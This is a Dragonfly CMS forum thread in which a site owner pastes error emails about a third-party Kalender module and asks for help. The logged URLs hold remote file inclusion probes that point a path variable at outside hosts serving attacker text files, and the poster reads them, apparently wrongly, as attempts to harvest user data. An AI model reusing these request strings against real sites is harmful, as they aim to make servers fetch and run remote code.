Support ⇒ Security ⇒ Exploit in Kalender? ⇒ Community Forums ⇒ CPG Dragonfly™ CMS
Forum IndexSecurity

Exploit in Kalender? Reply to topic


Hi All!

I'm receiving very much errors by mail like this:

On //index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebtown.com/shadowww/test.txt????
While executing query "SHOW COLUMNS FROM `_users`"

the following error occured: Table 'rcmasters._users' doesn't exist

In: /home/restricted/home/rcmasters/public_html/modules/Kalender/includes/functions.php on line: 52

Guest information:
User id: 1
Username: Anonymous
Admin: No
IP: 59.148.232.33
Host: 059148232033.ctinets.com


or this

On /index.php?name=Forums&file=viewtopic&p=96666/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.goldletterdv.com/amember/data/echo.txt?
While executing query "SHOW COLUMNS FROM `_users`"

the following error occured: Table 'rcmasters._users' doesn't exist

In: /home/restricted/home/rcmasters/public_html/modules/Kalender/includes/functions.php on line: 52

Guest information:
User id: 1
Username: Anonymous
Admin: No
IP: 219.83.83.60
Host: 219.83.83.60


This erros happens some times every day.

I guess be robots to get data of users.

Can anybody help me?

Thanks a lot!

PS: Sorry for my bad english. Smile

Server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS):
Linux / CMS 9.0.6.1 / PHP 5.1.6 / MySQL Version 4.1.20


As far i can see there are two different Kalender distributed from two different users. Both of the 3 and 2 years old.

Have you look at their support site for any module update or asked or told the module's owner about this issue?

.:: I met php the 03 December 2003 :: Unforgettable day! ::.

Server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS):
CloudLinux / Apache 2.4 LSAPI / MySQLi 5.6 / PHP 5.6 / DCVS


I have the last version.
I sent an email to author asking about the error.
I believe to be an attempt to catch user information who generate an error due the lack of the prefix in the table name "xxx_users".

Server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS):
Linux / CMS 9.0.6.1 / PHP 5.1.6 / MySQL Version 4.1.20

All times are UTC


Jump to: